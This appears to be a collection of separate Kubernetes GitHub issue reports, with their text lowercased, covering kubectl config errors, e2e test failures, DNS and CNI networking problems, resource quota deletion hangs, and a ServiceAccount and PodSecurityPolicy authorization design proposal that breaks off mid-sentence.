this is a bug report.\r \r trying to setup the kubernetes cluster environment. while configuring kubectl getting the following error. any commands come with the same error.\r \r \r error loading config file \ /home/ec2-user/.kube/config-ekscluster1\ : v1.config: clusters:   v1.namedcluster: v1.namedcluster: cluster: v1.cluster: server: certificateauthoritydata: decode base64: illegal base64 data at input byte 0, error found in  10 byte of ...|qo=\\u003e\ ,\ server\ :|..., bigger context ...|xfmaz0kls0tls1ftkqgq0vsvelgsunbveutls0tlqo=\\u003e\ ,\ server\ :\ \\u003chttps://1786f2610bbff049640a3b69a|...\r \r ! kubectl capture2  https://user-images.githubusercontent.com/35925093/46287385-476fee80-c57a-11e8-8ceb-d27c69f3509c.png \r \r here is the sample config i have used for configruing kubectl.\r apiversion: v1\r clusters:\r - cluster:\r     server: <endpoint-url>\r     certificate-authority-data: \ <base64-encoded-ca-cert>\ \r   name: kubernetes\r contexts:\r - context:\r     cluster: kubernetes\r     user: aws\r   name: aws\r current-context: aws\r kind: config\r preferences: {}\r users:\r - name: aws\r   user:\r     exec:\r       apiversion: client.authentication.k8s.io/v1alpha1\r       command: heptio-authenticator-aws\r       args:\r         - \ token\ \r         - \ -i\ \r         - \ <cluster-name>\ \r           - \ -r\ \r           - \ \

during review of a  etcd client version upgrade  https://github.com/kubernetes/kubernetes/pull/69322  that also required a gogo/protobuf upgrade, we noticed that we lack of test coverage to ensure that previously serialized protobuf data decodes correctly and changes like this stay wire-compatible. we should aim for our wire protocol compatibility testing should be exhaustive.

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r remove out of tree plugin config introduced in https://github.com/kubernetes/kubernetes/pull/70254 once we can refactor the e2e tests enough to be able to vendor them as a library in external repos according to https://github.com/kubernetes/kubernetes/issues/69819\r \r /assign\r \r <!-- do not edit below this line -->\r /king bug

in  pkg/kubelet/kubelet,go  in  getclusterdns ...  , it appends cluster dns nameserver and search paths to the ones in the host resolv.conf.  a user reported trying to add skydns nameserver address and kubernetes search paths to the host resolv.conf.  not what the instructions say to do, but a reasonable thing to do.  very reasonable if you want to be able to resolve service names while debugging from the root uts namespace.  this wasn't working for the user.  one thing i think would go wrong here is that if the node has 1 or 2 search paths, and then the user added the 3 for kubernetes, that is 5.  then when kubelet adds 3 more  duplicate  entries, you get 8, which exceeds the limit of 6.    would it be better if the code filtered duplicate search entries?

there are several fields in the api that use int64 types  uid, gid, etc . any int >= 53 bits will not be preserved when read using some json clients that treat all json numbers like float64s  notably, browsers .  that means web clients cannot create items containing ints >= 53 bits  it will serialize them as floats, which will lose precision at best, and break go decoding at worst   we should investigate converting uid/gid  and other int64 fields  to intorstrings, or adding validation to restrict int64 values to  at most   -9007199254740991 <= x <= 9007199254740991   references: https://developer.mozilla.org/en-us/docs/web/javascript/reference/global_objects/number/max_safe_integer

failure cluster  3917e93167e134cb50d1  https://go.k8s.io/triage 3917e93167e134cb50d1        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1395 may 25 07:20:30.995: expected 2 successes on bootstrap-e2e-minion-group-689z/healthz, got 0, err  attempt 0 error <nil> attempt 1 error <nil> attempt 2 error <nil> attempt 3 error <nil> attempt 4 error <nil> /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1386           failure cluster statistics: 1 tests failed,    8 jobs failed,    85 builds failed. failure stats cover 1 day time range '25 may 2017 13:03 utc' to '26 may 2017 13:03 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  esipp  slow  should only target nodes with endpoints | 8 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-slow | 18 |  26 may 2017 11:57 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-slow/5893  | | ci-kubernetes-e2e-gci-gke-slow | 16 |  26 may 2017 09:06 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-slow/6423  | | ci-kubernetes-e2e-gce-gci-qa-slow-m57 | 15 |  26 may 2017 10:47 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-gci-qa-slow-m57/4492  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | mrhohn |  k8s.io  esipp  slow  should only target nodes with endpoints | | sig/network |  k8s.io  esipp  slow  should only target nodes with endpoints |  </details><br>   current status  https://go.k8s.io/triage 3917e93167e134cb50d1

i find two container_manager_linux in kubelet and they are all used.what is the diference between both of them?\r one of them is kubelet/cm/container_manager_linux.go,another one is kubelet/dockershim/cm/container_manager_linux.go.\r if i want to add some cgroup args to kubelet ,which code should i focus on?\r \r  @dims

 /milestone v1.10\r /  \r /cc @jdumars @jberkus \r \r @mikedanese @kashomon any clue here? assume it's a gke change?

 \r   what happened  :\r i have:\r   internal dns \ 10.2.2.10\  with zone \ example.com\  on it,\r   stubdomains: {\ example.com\ :  \ 10.2.2.10\  }\r   externalname service \ foo\  which points to domain \ foo.example.com\ \r \r when i try to resolve name \ foo\ , i get nxdomain.\r if i try to create externalname  ex. mail -> mail.google.com  without stubdomains, everything works.\r \r   environment  :\r - kubernetes version v1.8.5\r - kube-dns version 1.14.5\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r we use flannel cni, and roughly 1 out of 10 times, cni0 interface has no ip address assigned.\r if it happens, pod cannot reach the external endpoints.  the error message from the affected pod is something like \ no route to host.\ \r it looks like cni bridge plugin creates cni0 interface and assigns ip address to it.  if i understand correctly, it is called by kubelet  indirectly? .  there is no error message in kubelet about cni.\r \r if i restart one of the pod, cni0 gets ip address assigned.\r \r   what you expected to happen  :\r \r cni0 interface has ip address assigned.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r it happens in our e2e test infrastructure.  basically it just creates bunch of master and worker nodes, and this issue arises roughly 1 out of 10.\r \r here is the cni configuration file:\r \r    json\r {                                                                                                                                                                                                                                      \r     \ name\ : \ podnet\ ,                                                                                                                                                                                                                  \r     \ type\ : \ flannel\ ,                                                                                                                                                                                                                 \r     \ delegate\ : {                                                                                                                                                                                                                      \r         \ isdefaultgateway\ : true                                                                                                                                                                                                       \r     }                                                                                                                                                                                                                                  \r }                                                                                                                                                                                                                                      \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : k8s v1.9.7 and v1.10.2\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : coreos 1745.4.0 stable\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2enode-cosstable1-k8sbeta-serial/4562\r \r    \r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/eviction_test.go:394\r error creating pod\r expected error:\r     < errors.statuserror | 0xc4214a7440>: {\r         errstatus: {\r             typemeta: {kind: \ \ , apiversion: \ \ },\r             listmeta: {selflink: \ \ , resourceversion: \ \ , continue: \ \ },\r             status: \ failure\ ,\r             message: \ pods \\\ high-priority-disk-pod\\\  is forbidden: the integer value of priority  2147483647  must not be provided in pod spec;  controller computed 0 from the given priorityclass name\ ,\r             reason: \ forbidden\ ,\r             details: {\r                 name: \ high-priority-disk-pod\ ,\r                 group: \ \ ,\r                 kind: \ pods\ ,\r                 uid: \ \ ,\r                 causes: nil,\r                 retryafterseconds: 0,\r             },\r             code: 403,\r         },\r     }\r     pods \ high-priority-disk-pod\  is forbidden: the integer value of priority  2147483647  must not be provided in pod spec;  controller computed 0 from the given priorityclass name\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:76\r    \r \r is setting the pod  critical to the test?\r \r https://github.com/kubernetes/kubernetes/blob/798ca4d3ceb5b2ff12a7ae6a75b7fcc4b00f4979/test/e2e_node/eviction_test.go l321\r \r /cc @dashpole \r 

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r \r \r   what happened  :\r http://k8s-testgrid.appspot.com/sig-storage gce-alpha-enabled-default\r \r probably related to https://github.com/kubernetes/kubernetes/pull/67684\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r when running ./hack/local-up-cluster.sh, it always download  cfssl  even when the tool is found on the system $path.\r \r first validate cfssl is installed:\r    bash\r $> which cfssl\r /usr/bin/cfssl\r \r $> cfssl\r no command is given.\r usage:\r available commands:\r \tcertinfo\r \tserve\r \trevoke\r \tbundle\r \tocspdump\r ...\r    \r \r next run local-up-cluster.sh script\r \r    bash\r log_level=4 allow_privileged=true feature_gates=\ kubeletpluginswatcher=true\  ./hack/local-up-cluster.sh\r warning : the kubelet is configured to not fail even if swap is enabled; production deployments should disable swap.\r warning : this script may be run as root for docker socket / iptables functionality; if failures occur, retry as root.\r make: entering directory '/home/user/go/src/k8s.io/kubernetes'\r make 1 : entering directory '/home/user/go/src/k8s.io/kubernetes'\r make 1 : leaving directory '/home/user/go/src/k8s.io/kubernetes'\r +++  0921 16:19:25  building go targets for linux/amd64:\r     cmd/kubectl\r     cmd/hyperkube\r make: leaving directory '/home/user/go/src/k8s.io/kubernetes'\r warning: no swap limit support\r kubelet cgroup driver defaulted to use: cgroupfs\r api server insecure port is free, proceeding...\r api server secure port is free, proceeding...\r unable to successfully run 'cfssl' from /home/user/go/src/k8s.io/kubernetes/_output/bin:/home/user/go/bin:/home/user/go/src/k8s.io/kubernetes/third_party/etcd:/home/user/go/src/k8s.io/kubernetes/_output/bin:/home/user/go/bin:/home/user/go/src/k8s.io/kubernetes/third_party/etcd:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/usr/local/go/bin:/usr/local/go/bin; downloading instead...\r   % total    % received % xferd  average speed   time    time     time  current\r                                  dload  upload   total   spent    left  speed\r 100  9.8m  100  9.8m    0     0  6021k      0  0:00:01  0:00:01 --:--:-- 6021k\r   % total    % received % xferd  average speed   time    time     time  current\r                                  dload  upload   total   spent    left  speed\r 100 2224k  100 2224k    0     0  2249k      0 --:--:-- --:--:-- --:--:-- 2246k\r    \r  \r   what you expected to happen  :\r expecting that the script would skip download and find cfssl on the path.\r \r   how to reproduce it  as minimally and precisely as possible   :\r the following is what i ran, the env variables not necessary to reproduce.\r    bash\r log_level=4 allow_privileged=true feature_gates=\ kubeletpluginswatcher=true\  ./hack/local-up-cluster.sh\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    bash\r $> kubectl version\r client version: version.info{major:\ 1\ , minor:\ 13+\ , gitversion:\ v1.13.0-alpha.0.1353+d1111a57d9243c\ , gitcommit:\ d1111a57d9243c55e02e0e66af55c2ddb36f3767\ , gittreestate:\ clean\ , builddate:\ 2018-09-21t20:19:25z\ , goversion:\ go1.11\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - os  e.g. from /etc/os-release :\r    bash\r name=\ ubuntu\ \r version=\ 18.04.1 lts  bionic beaver \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 18.04.1 lts\ \r version_id=\ 18.04\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=bionic\r ubuntu_codename=bionic\r    \r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  : gci-gce-scalability-1.11, gci-gce-scalability-1.12, gci-gce-scalability-1.13, gci-gce-scalability-1.14\r \r   which test s  are failing  : clusterloader2\r \r   since when has it been failing  : 13.03.2019\r \r   testgrid link  : https://k8s-testgrid.appspot.com/sig-scalability-gce gci-gce-scalability-1.11, https://k8s-testgrid.appspot.com/sig-scalability-gce gci-gce-scalability-1.12, https://k8s-testgrid.appspot.com/sig-scalability-gce gci-gce-scalability-1.13, https://k8s-testgrid.appspot.com/sig-scalability-gce gci-gce-scalability-1.14\r \r   reason for failure  :\r \r prometheus stack times out when waiting for all targets to become available.\r i'm 99% sure this is because kube-proxy metrics are not exposed in previous releases.\r \r    \r w0313 00:15:29.774  i0313 00:15:29.758804   12552 prometheus.go:49  setting up prometheus stack\r w0313 00:15:29.917  i0313 00:15:29.916746   12552 prometheus.go:91  applying /go/src/k8s.io/perf-tests/clusterloader2/pkg/prometheus/manifests/0prometheus-operator-0alertmanagercustomresourcedefinition.yaml\r w0313 00:15:30.263  i0313 00:15:30.263561   12552 prometheus.go:91  applying /go/src/k8s.io/perf-tests/clusterloader2/pkg/prometheus/manifests/0prometheus-operator-0prometheuscustomresourcedefinition.yaml\r w0313 00:15:30.435  i0313 00:15:30.434837   12552 prometheus.go:91  applying /go/src/k8s.io/perf-tests/clusterloader2/pkg/prometheus/manifests/0prometheus-operator-0prometheusrulecustomresourcedefinition.yaml\r w0313 00:15:30.485  i0313 00:15:30.485296   12552 prometheus.go:91  applying /go/src/k8s.io/perf-tests/clusterloader2/pkg/prometheus/manifests/0prometheus-operator-0servicemonitorcustomresourcedefinition.yaml\r w0313 00:15:30.534  i0313 00:15:30.534438   12552 prometheus.go:91  applying /go/src/k8s.io/perf-tests/clusterloader2/pkg/prometheus/manifests/0prometheus-operator-clusterrole.yaml\r w0313 00:15:30.576  i0313 00:15:30.576080   12552 prometheus.go:91  applying /go/src/k8s.io/perf-tests/clusterloader2/pkg/prometheus/manifests/0prometheus-operator-clusterrolebinding.yaml\r w0313 00:15:30.616  i0313 00:15:30.616296   12552 prometheus.go:91  applying /go/src/k8s.io/perf-tests/clusterloader2/pkg/prometheus/manifests/0prometheus-operator-deployment.yaml\r w0313 00:15:30.665  i0313 00:15:30.664856   12552 prometheus.go:91  applying /go/src/k8s.io/perf-tests/clusterloader2/pkg/prometheus/manifests/0prometheus-operator-service.yaml\r w0313 00:15:30.705  i0313 00:15:30.705190   12552 prometheus.go:91  applying /go/src/k8s.io/perf-tests/clusterloader2/pkg/prometheus/manifests/0prometheus-operator-serviceaccount.yaml\r w0313 00:15:30.748  i0313 00:15:30.748157   12552 prometheus.go:91  applying /go/src/k8s.io/perf-tests/clusterloader2/pkg/prometheus/manifests/0prometheus-operator-servicemonitor.yaml\r w0313 00:15:30.794  i0313 00:15:30.794046   12552 prometheus.go:91  applying /go/src/k8s.io/perf-tests/clusterloader2/pkg/prometheus/manifests/0ssd-storage-class.yaml\r w0313 00:15:30.833  i0313 00:15:30.833619   12552 prometheus.go:91  applying /go/src/k8s.io/perf-tests/clusterloader2/pkg/prometheus/manifests/grafana-dashboarddatasources.yaml\r w0313 00:15:30.873  i0313 00:15:30.873194   12552 prometheus.go:91  applying /go/src/k8s.io/perf-tests/clusterloader2/pkg/prometheus/manifests/grafana-dashboarddefinitions.yaml\r w0313 00:15:30.914  i0313 00:15:30.913797   12552 prometheus.go:91  applying /go/src/k8s.io/perf-tests/clusterloader2/pkg/prometheus/manifests/grafana-dashboardsources.yaml\r w0313 00:15:30.955  i0313 00:15:30.954771   12552 prometheus.go:91  applying /go/src/k8s.io/perf-tests/clusterloader2/pkg/prometheus/manifests/grafana-deployment.yaml\r w0313 00:15:30.997  i0313 00:15:30.996857   12552 prometheus.go:91  applying /go/src/k8s.io/perf-tests/clusterloader2/pkg/prometheus/manifests/grafana-service.yaml\r w0313 00:15:31.046  i0313 00:15:31.046244   12552 prometheus.go:91  applying /go/src/k8s.io/perf-tests/clusterloader2/pkg/prometheus/manifests/grafana-serviceaccount.yaml\r w0313 00:15:31.085  i0313 00:15:31.085466   12552 prometheus.go:91  applying /go/src/k8s.io/perf-tests/clusterloader2/pkg/prometheus/manifests/grafana-servicemonitor.yaml\r w0313 00:15:31.127  i0313 00:15:31.127474   12552 prometheus.go:91  applying /go/src/k8s.io/perf-tests/clusterloader2/pkg/prometheus/manifests/kube-proxy-service.yaml\r w0313 00:15:31.168  i0313 00:15:31.168190   12552 prometheus.go:91  applying /go/src/k8s.io/perf-tests/clusterloader2/pkg/prometheus/manifests/prometheus-clusterrole.yaml\r w0313 00:15:31.242  i0313 00:15:31.242242   12552 prometheus.go:91  applying /go/src/k8s.io/perf-tests/clusterloader2/pkg/prometheus/manifests/prometheus-clusterrolebinding.yaml\r w0313 00:15:31.284  i0313 00:15:31.283928   12552 prometheus.go:91  applying /go/src/k8s.io/perf-tests/clusterloader2/pkg/prometheus/manifests/prometheus-prometheus.yaml\r w0313 00:15:31.335  i0313 00:15:31.335605   12552 prometheus.go:91  applying /go/src/k8s.io/perf-tests/clusterloader2/pkg/prometheus/manifests/prometheus-rolebindingconfig.yaml\r w0313 00:15:31.376  i0313 00:15:31.376260   12552 prometheus.go:91  applying /go/src/k8s.io/perf-tests/clusterloader2/pkg/prometheus/manifests/prometheus-rolebindingspecificnamespaces.yaml\r w0313 00:15:31.498  i0313 00:15:31.497762   12552 prometheus.go:91  applying /go/src/k8s.io/perf-tests/clusterloader2/pkg/prometheus/manifests/prometheus-roleconfig.yaml\r w0313 00:15:31.537  i0313 00:15:31.537352   12552 prometheus.go:91  applying /go/src/k8s.io/perf-tests/clusterloader2/pkg/prometheus/manifests/prometheus-rolespecificnamespaces.yaml\r w0313 00:15:31.657  i0313 00:15:31.656946   12552 prometheus.go:91  applying /go/src/k8s.io/perf-tests/clusterloader2/pkg/prometheus/manifests/prometheus-service.yaml\r w0313 00:15:31.701  i0313 00:15:31.701549   12552 prometheus.go:91  applying /go/src/k8s.io/perf-tests/clusterloader2/pkg/prometheus/manifests/prometheus-serviceaccount.yaml\r w0313 00:15:31.741  i0313 00:15:31.741649   12552 prometheus.go:91  applying /go/src/k8s.io/perf-tests/clusterloader2/pkg/prometheus/manifests/prometheus-servicemonitor.yaml\r w0313 00:15:31.783  i0313 00:15:31.783721   12552 prometheus.go:91  applying /go/src/k8s.io/perf-tests/clusterloader2/pkg/prometheus/manifests/prometheus-servicemonitorapiserver.yaml\r w0313 00:15:31.825  i0313 00:15:31.825196   12552 prometheus.go:91  applying /go/src/k8s.io/perf-tests/clusterloader2/pkg/prometheus/manifests/prometheus-servicemonitorcoredns.yaml\r w0313 00:15:31.868  i0313 00:15:31.867906   12552 prometheus.go:91  applying /go/src/k8s.io/perf-tests/clusterloader2/pkg/prometheus/manifests/prometheus-servicemonitorkubecontrollermanager.yaml\r w0313 00:15:31.909  i0313 00:15:31.908727   12552 prometheus.go:91  applying /go/src/k8s.io/perf-tests/clusterloader2/pkg/prometheus/manifests/prometheus-servicemonitorkubeproxy.yaml\r w0313 00:15:31.950  i0313 00:15:31.950026   12552 prometheus.go:91  applying /go/src/k8s.io/perf-tests/clusterloader2/pkg/prometheus/manifests/prometheus-servicemonitorkubescheduler.yaml\r w0313 00:15:31.991  i0313 00:15:31.990852   12552 prometheus.go:116  waiting for prometheus stack to become healthy...\r w0313 00:16:02.031  w0313 00:16:02.031463   12552 prometheus.go:130  error while calling prometheus api: the server is currently unable to handle the request  get services http:prometheus-k8s:9090 \r w0313 00:16:32.158  i0313 00:16:32.158626   12552 prometheus.go:156  7/111 targets are ready\r w0313 00:17:02.075  i0313 00:17:02.075193   12552 prometheus.go:156  11/111 targets are ready\r w0313 00:17:32.075  i0313 00:17:32.074739   12552 prometheus.go:156  11/111 targets are ready\r w0313 00:18:02.073  i0313 00:18:02.073279   12552 prometheus.go:156  11/111 targets are ready\r w0313 00:18:32.074  i0313 00:18:32.073926   12552 prometheus.go:156  11/111 targets are ready\r w0313 00:19:02.149  i0313 00:19:02.149115   12552 prometheus.go:156  11/111 targets are ready\r w0313 00:19:32.074  i0313 00:19:32.074564   12552 prometheus.go:156  11/111 targets are ready\r w0313 00:20:02.090  i0313 00:20:02.089854   12552 prometheus.go:156  11/111 targets are ready\r w0313 00:20:32.073  i0313 00:20:32.073139   12552 prometheus.go:156  11/111 targets are ready\r w0313 00:21:02.079  i0313 00:21:02.079095   12552 prometheus.go:156  11/111 targets are ready\r w0313 00:21:32.113  i0313 00:21:32.113596   12552 prometheus.go:156  11/111 targets are ready\r w0313 00:22:02.152  i0313 00:22:02.152245   12552 prometheus.go:156  11/111 targets are ready\r w0313 00:22:32.073  i0313 00:22:32.073525   12552 prometheus.go:156  11/111 targets are ready\r w0313 00:23:02.073  i0313 00:23:02.073695   12552 prometheus.go:156  11/111 targets are ready\r w0313 00:23:32.074  i0313 00:23:32.074139   12552 prometheus.go:156  11/111 targets are ready\r w0313 00:24:02.073  i0313 00:24:02.073385   12552 prometheus.go:156  11/111 targets are ready\r w0313 00:24:32.073  i0313 00:24:32.072999   12552 prometheus.go:156  11/111 targets are ready\r w0313 00:25:02.117  i0313 00:25:02.117386   12552 prometheus.go:156  11/111 targets are ready\r w0313 00:25:32.155  i0313 00:25:32.155379   12552 prometheus.go:156  11/111 targets are ready\r w0313 00:26:02.073  i0313 00:26:02.073014   12552 prometheus.go:156  11/111 targets are ready\r w0313 00:26:32.075  i0313 00:26:32.074753   12552 prometheus.go:156  11/111 targets are ready\r w0313 00:27:02.073  i0313 00:27:02.072991   12552 prometheus.go:156  11/111 targets are ready\r w0313 00:27:32.073  i0313 00:27:32.073242   12552 prometheus.go:156  11/111 targets are ready\r w0313 00:28:02.072  i0313 00:28:02.071907   12552 prometheus.go:156  11/111 targets are ready\r w0313 00:28:32.075  i0313 00:28:32.075649   12552 prometheus.go:156  11/111 targets are ready\r w0313 00:29:02.074  i0313 00:29:02.074643   12552 prometheus.go:156  11/111 targets are ready\r w0313 00:29:32.075  i0313 00:29:32.075204   12552 prometheus.go:156  11/111 targets are ready\r w0313 00:30:02.075  i0313 00:30:02.074830   12552 prometheus.go:156  11/111 targets are ready\r w0313 00:30:32.074  i0313 00:30:32.074724   12552 prometheus.go:156  11/111 targets are ready\r w0313 00:30:32.154  i0313 00:30:32.154161   12552 prometheus.go:156  11/111 targets are ready\r w0313 00:30:32.154  f0313 00:30:32.154231   12552 clusterloader.go:191  error while setting up prometheus stack: timed out waiting for the condition\r

my cluster have three nodes，node1、node2、node3， i start a deployment and service， the \r pod run on node2，in pod i can curl node1：port and node3：port，but cant curl node2：port。\r \r i use flannel v0.10.0\r kubernetes 0.10\r docker version 18.03.0-ce\r \r thanks a lot！

what happened  :\r \r resourcequota admission controller is enabled and configured.\r while cleaning up the namespace sometimes deletion hangs indefinitely. \r found that the deletion was hanging because pvc is indefinitely in terminal state.\r \r   what you expected to happen  :\r \r namespace and pvc cleaned up successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r k8s version 1.14.0  on gcp   reproducible in older versions too but for these steps indulge me .\r apiserver configured with admission-controller-config-file\r \r    \r  admission_control.conf\r kind: admissionconfiguration\r apiversion: apiserver.k8s.io/v1alpha1\r plugins:\r - name: \ resourcequota\ \r   configuration:\r     apiversion: resourcequota.admission.k8s.io/v1beta1\r     kind: configuration\r     limitedresources:\r     - resource: persistentvolumeclaims\r       matchcontains:\r       - .storageclass.storage.k8s.io/requests.storage\r    \r    \r   sc.yaml\r kind: storageclass\r apiversion: storage.k8s.io/v1\r metadata:\r   name: test-profile\r provisioner: kubernetes.io/gce-pd\r parameters:\r   type: pd-standard\r    \r    \r   pvc.yaml\r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   namespace: us1-dev-web-1 \r   name: test-pvc\r spec:\r   accessmodes:\r   - readwriteonce\r   resources:\r     requests:\r       storage: 2gi\r   storageclassname: test-profile\r    \r    \r   rq.yaml\r apiversion: v1\r kind: resourcequota\r metadata:\r   namespace: us1-dev-web-1\r   name: us1-dev-web-1-storagequota\r spec:\r   hard:\r     test-profile.storageclass.storage.k8s.io/requests.storage: 90gi\r    \r  step 1: create all the objects. \r    \r $ kubectl apply -f sc.yaml \r $ kubectl apply -f ns.yaml\r $ kubectl apply -f rq.yaml\r $ kubectl apply -f pvc.yaml\r    \r \r step 2: delete resource quota\r \r    \r $ kubectl delete -f rq.yaml\r    \r \r step 3: delete the namespace\r \r    \r $ kubectl delete -f ns.yaml\r    \r \r    \r $ kubectl get ns us1-dev-web-1\r name            status        age\r us1-dev-web-1   terminating   18h\r \r $ kubectl get pvc -n us1-dev-web-1\r name       status        volume                                     capacity   access modes   storageclass   age\r test-pvc   terminating   pvc-19938bd6-541c-11e9-b978-42010a8a0022   2gi        rwo            test-profile   160m\r    \r this leaves the ns and pvc in terminating state.\r \r   anything else we need to know?  :\r \r this leaves the namespace is non-recoverable state. \r \r if you do not delete the rq.yaml in step 2 above and jump to step 3 it is possible while deleting ns there is race condition and the resource quota could be delete before the pvc.\r \r   environment  :\r - kubernetes version  use  kubectl version  : reproduced in 1.14.0, 1.13.0, 1.12.0\r - cloud provider or hardware configuration: gcp  should not matter though \r - os  e.g:  cat /etc/os-release  : cos  shoudl not matter\r - kernel  e.g.  uname -a  : na\r - install tools: na\r - others: na\r

in docs/resources.md we state that cpu is actually in units of kcu, which is normalized cpu. but, on gce/gke we don't do that.  nor on vagrant, or anything else. as @justinsb points out, the aws cloud provider is reporting cores in ecus  amazon's normalized core . gce is reporting actual cores. gce used to have gceus but it seems the documentation for that is gone.  so, we need to do something.  some options: 1.  kubernetes.io/cpu resource is implementation defined.   - can continue to use ecu on amazon - can continue to use absolute on gce - remove mention of kcu from docs. - config is portable, but performance varies.   1. kubernetes.io/cpu resource is cores on all cloud-providers. - change amazon - fixup docs   - config is portable, but performance varies   1. kubernetes.io/cpu resource is normalized for all platforms, and ostensibly comparable across cloud-providers - put actual core count as a new field on nodes, in case anyone cares - define values for gce, other platforms - let the battle begin over who's cores are better  - constantly update a table of  processor type, core  to kcu mappings, as there are vastly more types of cpus in the wide world than there are just on amazon and gce. - config is portable, and performance varies less   1. each platform can define its own normalized unit, with cores as a fallback - kubernetes.io/ecu means aws ecus - cloud.google.com/kcu means some normalized unit for gce processors -  config is not portable, and you are forced to think about performance when porting.

summary of proposal - a pod has a pointer to a serviceaccount.   this is currently the case  - a user must be authorized to   use   a serviceaccount in order to create a pod that has that serviceaccountname.  proposed new check  - a user must be authorized to   use   a podsecuritypolicy in order to create a serviceaccount that points to that podsecuritypolicy.  proposed new check  - a serviceaccount has a pointer to a podsecuritypolicy   proposed new field  - a pod's podsecuritycontext and each of its container's securitycontext must match the pod's serviceaccount's podsecuritypolicy.  proposed new check     longer version -  prerequisite  @deads2k's proposal  12209 is implemented, in particular so that:   - the authorization interface knows the specific verb  e.g.\ create\  or \ logs\   used.   - the authorization interface knows the name and namespace of the referenced object. -  prerequisite  @pweil-'s proposal  7893 for podsecuritypolicy is merged, except the  user  and  groups  fields are dropped from it. -  new thing  \ serviceaccount\  gets a new verb called \ use\ .  the endpoint does not do anything, it is just for authorization purposes. -  new thing  when a pod is created or updated by user u, and the pod has a serviceaccount s, then, in addition to our existing authorization checks, there is a new, second, authorization check that checks whether user u is allowed to \ use\  serviceaccount s.   this check happens after an empty serviceaccount is defaulted to \ default\ . -  new thing  serviceaccounts gain an objectreference to a podsecuritypolicy.      new thing  an admission controller enforces that a pod's securitycontext s  and podsecuritycontext must match the podsecuritypolicy of its serviceaccount.    detailed design     pod creation detailed steps 1. request authenticated 2. modify authenticated user using \ acting-as\ , if requested, for e.g. controller managers  see  16933, not strictly needed for this proposal but included to show all steps in eventual system  3. check whether authenticated user u  in groups g  is allowed to create pods, in the general case, via  authorizer.authorize user=u, groups=g, verb=\ create\ , kind=\ pods\ , namespace=n, …   4. limitranger admission controller runs  per  17097, this may someday set security-sensitive fields, hence we ought to re-authorize after defaulting  5. securitycontextdeny plugin no longer used 6. serviceaccount plugin may set default serviceaccount 7. note: this marks the end of \ mutating\  admission controllers.  all further admission controllers are not allowed to modify the object from the request body.  since the object is in its final form, the next step s  can do final authorization of the object. 8. new useserviceaccount admission controller checks whether authenticated user u  in groups g  is allowed to use the pod's service account s, via   authorizer.authorize user=u, groups=g, verb=\ use\ , kind=\ serviceaccount\ , objectname=s, ...    9. new podsecuritypolicycheck plugin compares the pod's securitycontext s  and podsecuritycontext with the pod's serviceaccount's podsecuritypolicy, and rejects if not matching 10. denyescalatingexec is not needed anymore, since it is covered by useserviceaccount check. 11. quota admission controller runs.     the \ useserviceaccount\  admission controller - for \ create\ , \ update\ , \ exec\ , and \ attach\  verbs, it checks that the requesting user is authorized to \ use\  the serviceaccount of the pod in question. - for \ logs\ , it does not make this check.  reasoning here is that sensitivity of logs  pii or not  is somewhat independent of the privileges of the pod that is doing the logging.   so, don't require the check.  - for \ portforward\ , \ proxy\  verbs: tbd - for \ status\  verb, no check.     use cases from  7893       use case 1  as an administrator, i can create a namespace for a person that can't create privileged containers and enforces that the uid of the containers is set to a certain value  steps to implement use case: - create namespace n1 - create podsecuritypolicy p1 specifying desired uid. - create service account s1 in n1, pointing to p1. - allow user u1 to \ do anything to pods in n1\  and to \ use s1\ .       use case 2:  as a cluster operator, an infrastructure component should be able to create a pod with elevated privileges in a namespace n where regular users cannot create pods with these privileges or execute commands in that pod.  steps to implement use case: - create totally 